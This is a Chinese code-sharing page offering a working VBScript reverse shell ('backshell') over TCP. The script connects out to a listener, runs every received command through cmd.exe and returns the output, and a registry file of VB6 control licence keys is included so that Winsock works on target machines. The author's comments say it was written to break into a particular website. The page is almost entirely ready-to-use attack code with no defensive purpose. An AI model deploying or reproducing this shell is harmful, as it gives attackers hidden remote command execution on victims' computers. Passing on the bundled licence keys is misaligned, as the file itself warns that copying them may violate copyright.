TCP版backshell的VBS脚本代码

时间：2022-10-09 18:15:01
  1. '搞一个特殊的站准备用的，没想到，等写完了，洞补上了，郁闷  
  2. 'by 009, baicker@hotmail.com  
  3. 'date:071221  
  4.  
  5. Dim revdata  
  6. set sock=WScript.createobject( "MSWinsock.Winsock" , "WSEvent_" )  
  7. set sc=createobject( "WScript.Shell" )  
  8. Set fso =CreateObject( "Scripting.FileSystemObject" )  
  9. sock.connect "127.0.0.1" , 1234  
  10.  
  11. Sub WSEvent_Connect()  
  12. wscript.echo "Connected!"  
  13. end sub  
  14.  
  15. Sub WSEvent_DataArrival(bytes)  
  16. MyString= "blank"   
  17. sock.GetData MyString  
  18. revdata=MyString  
  19. if bytes> 0 then  
  20. if instr(revdata, "exit" )> 0 then  
  21. sock.close  
  22. sock.close  
  23. sock= nothing  
  24. bClose= true  
  25. exit sub  
  26. else  
  27. on error resume next  
  28. tempfile= "C:\" & fso.GetTempName  
  29. cmd=left(revdata,len(revdata)- 1 )  
  30. call sc.Run ( "cmd.exe /c " & cmd & " > " & tempfile, 0 , True )  
  31. Set txf = fso.OpenTextFile(tempfile, 1 , false , 0 )  
  32. sock.senddata txf.readall & vbcrlf & vbcrlf  
  33. txf.close  
  34. call fso.DeleteFile(TempFile, True )  
  35. end if  
  36. sock.senddata "009>"  
  37. end if  
  38. end sub  
  39.  
  40. While Not bClose  
  41. WScript.Sleep 1  
  42. Wend  
  43.  
  44. —————————————————————————————————————  
  45. 调用winsock，未装VB的需要导入注册表  
  46. —————————————— vb6controls.reg —————————————————-  
  47. REGEDIT  
  48. HKEY_CLASSES_ROOT\Licenses = Licensing: Copying the keys may be a violation of established copyrights.  
  49.  
  50. // Masked Edit Control 6.0 license key  
  51. HKEY_CLASSES_ROOT\Licenses\BC96F860-9928-11cf-8AFA-00AA00C00905 = mmimfflflmqmlfffrlnmofhfkgrlmmfmqkqj  
  52.  
  53. // Chart Control 6.0 (OLEDB) license key  
  54. HKEY_CLASSES_ROOT\Licenses\12B142A4-BD51-11d1-8C08-0000F8754DA1 = aadhgafabafajhchnbchehfambfbbachmfmb  
  55.  
  56. // Common Dialog Control 6.0 license key  
  57. HKEY_CLASSES_ROOT\Licenses\4D553650-6ABE-11cf-8ADB-00AA00C00905 = gfjmrfkfifkmkfffrlmmgmhmnlulkmfmqkqj  
  58.  
  59. // ADO Data Control 6.0 (OLEDB) license key  
  60. HKEY_CLASSES_ROOT\Licenses\C4145310-469C-11d1-B182-00A0C922E820 = konhqhioohihphkouimonhqhvnwiqhhhnjti  
  61.  
  62. // Common Controls-3 6.0 license key  
  63. HKEY_CLASSES_ROOT\Licenses\38911DA0-E448-11D0-84A3-00DD01104159 = mcpckchcdchjcjcclidcgcgchdqdcjhcojpd  
  64.  
  65. // Windows Common Controls-2 5.0 (SP2) license key  
  66. HKEY_CLASSES_ROOT\Licenses\9E799BF1-8817-11cf-958F-0020AFC28C3B = uqpqnqkjujkjjjjqwktjrjkjtkupsjnjtoun  
  67.  
  68. // Windows Common Controls license key  
  69. HKEY_CLASSES_ROOT\Licenses\57CBF9E0-6AA7-11cf-8ADB-00AA00C00905 = aahakhchghkhfhaamghhbhbhkbpgfhahlfle  
  70.  
  71. // Data Bound Grid Control 5.0(SP3) license key  
  72. HKEY_CLASSES_ROOT\Licenses\556C75F1-EFBC-11CF-B9F3-00A0247033C4 = xybiedobrqsprbijaegcbislrsiucfjdhisl  
  73.  
  74. // Data Bound List Controls 6.0 license key  
  75. HKEY_CLASSES_ROOT\Licenses\096EFC40-6ABF-11cf-850C-08002B30345D = knsgigmnmngnmnigthmgpninrmumhgkgrlrk  
  76.  
  77. // Internet Transfer Control 6.0 license key  
  78. HKEY_CLASSES_ROOT\Licenses\78E1BDD1-9941-11cf-9756-00AA00C00908 = yjrjvqkjlqqjnqkjvprqsjnjvkuknjpjtoun  
  79.  
  80. // Multimedia Control 6.0 license key  
  81. HKEY_CLASSES_ROOT\Licenses\B1EFCCF0-6AC1-11cf-8ADB-00AA00C00905 = qqkjvqpqmqjjpqjjvpqqkqmqvkypoqjquoun  
  82.  
  83. // Chart Control 6.0 license key  
  84. HKEY_CLASSES_ROOT\Licenses\7C35CA30-D112-11cf-8E72-00A0C90F26F8 = whmhmhohmhiorhkouimhihihwiwinhlosmsl  
  85.  
  86. // Windows Common Controls-2 6.0 license key  
  87. HKEY_CLASSES_ROOT\Licenses\4F86BADF-9F77-11d1-B1B7-0000F8753F5D = iplpwpnippopupiivjrioppisjsjlpiiokuj  
  88.  
  89. // Windows Common Controls 6.0 license key  
  90. HKEY_CLASSES_ROOT\Licenses\ED4B87C4-9F76-11d1-8BF7-0000F8754DA1 = knlggnmntgggrninthpgmnngrhqhnnjnslsh  
  91.  
  92. // Comm Control 6.0 license key  
  93. HKEY_CLASSES_ROOT\Licenses\4250E830-6AC2-11cf-8ADB-00AA00C00905 = kjljvjjjoquqmjjjvpqqkqmqykypoqjquoun  
  94.  
  95. // DataGrid Control 6.0 (OLEDB) license key  
  96. HKEY_CLASSES_ROOT\Licenses\CDE57A55-8B86-11D0-b3C6-00A0C90AEA82 = ekpkhddkjkekpdjkqemkfkldoeoefkfdjfqe  
  97.  
  98. // DataList Control 6.0 (OLEDB) license key  
  99. HKEY_CLASSES_ROOT\Licenses\A133F000-CCB0-11d0-A316-00AA00688B10 = cibbcimbpihbbbbbnhdbeidiocmcbbdbgdoc  
  100.  
  101. // DBWin license key  
  102. HKEY_CLASSES_ROOT\Licenses\D015B071-D2ED-11d0-A31A-00AA00688B10 = gjdcfjpcmjicjcdcoihcechjlioiccechepd  
  103.  
  104. // MSDBRPT license key  
  105. HKEY_CLASSES_ROOT\Licenses\9DF1A470-BA8E-11D0-849C-00A0C90DC8A9 = cchcqjejhcgcqcfjpdfcdjkckiqikchcojpd  
  106.  
  107. // FlexGrid Control 6.0 license key  
  108. HKEY_CLASSES_ROOT\Licenses\72E67120-5959-11cf-91F6-C2863C385E30 = ibcbbbebqbdbciebmcobmbhifcmciibblgmf  
  109.  
  110. // MAPI Controls 6.0 license key  
  111. HKEY_CLASSES_ROOT\Licenses\899B3E80-6AC6-11cf-8ADB-00AA00C00905 = wjsjjjlqmjpjrjjjvpqqkqmqukypoqjquoun  
  112.  
  113. // MSRDO 2.0 license key  
  114. HKEY_CLASSES_ROOT\Licenses\B1692F60-23B0-11D0-8E95-00A0C90F26F8 = mjjjccncgjijrcfjpdfjfcejpdkdkcgjojpd  
  115.  
  116. // RemoteData Control 6.0 license key  
  117. HKEY_CLASSES_ROOT\Licenses\43478d75-78e0-11cf-8e78-00a0d100038e = imshohohphlmnhimuinmphmmuiminhlmsmsl  
  118.  
  119. // Windowless Controls 6.0 license key  
  120. HKEY_CLASSES_ROOT\Licenses\80E80EF0-DBBE-11D0-BCE2-00A0C90DCA10 = qijimitpmpnpxplpvjnikpkpqoxjmpkpoivj  
  121.  
  122. // PictureClip Control 6.0 license key  
  123. HKEY_CLASSES_ROOT\Licenses\6FB38640-6AC7-11cf-8ADB-00AA00C00905 = gdjkokgdldikhdddpjkkekgknesjikdkoioh  
  124.  
  125. // Rich TextBox Control 6.0 license key  
  126. HKEY_CLASSES_ROOT\Licenses\DC4D7920-6AC8-11cf-8ADB-00AA00C00905 = iokouhloohrojhhhtnooiokomiwnmohosmsl  
  127.  
  128. // Sheridan Tab Control license key  
  129. HKEY_CLASSES_ROOT\Licenses\190B7910-992A-11cf-8AFA-00AA00C00905 = gclclcejjcmjdcccoikjlcecoioijjcjnhng  
  130.  
  131. // SysInfo Control 6.0 license key  
  132. HKEY_CLASSES_ROOT\Licenses\E32E2733-1BC5-11d0-B8C3-00A0C90DCA10 = kmhfimlflmmfpffmsgfmhmimngtghmoflhsg  
  133.  
  134. // Winsock Control 6.0 license key  
  135. HKEY_CLASSES_ROOT\Licenses\2c49f800-c2dd-11cf-9ad6-0080c7e7b78d = mlrljgrlhltlngjlthrligklpkrhllglqlrk  
标签：

相关文章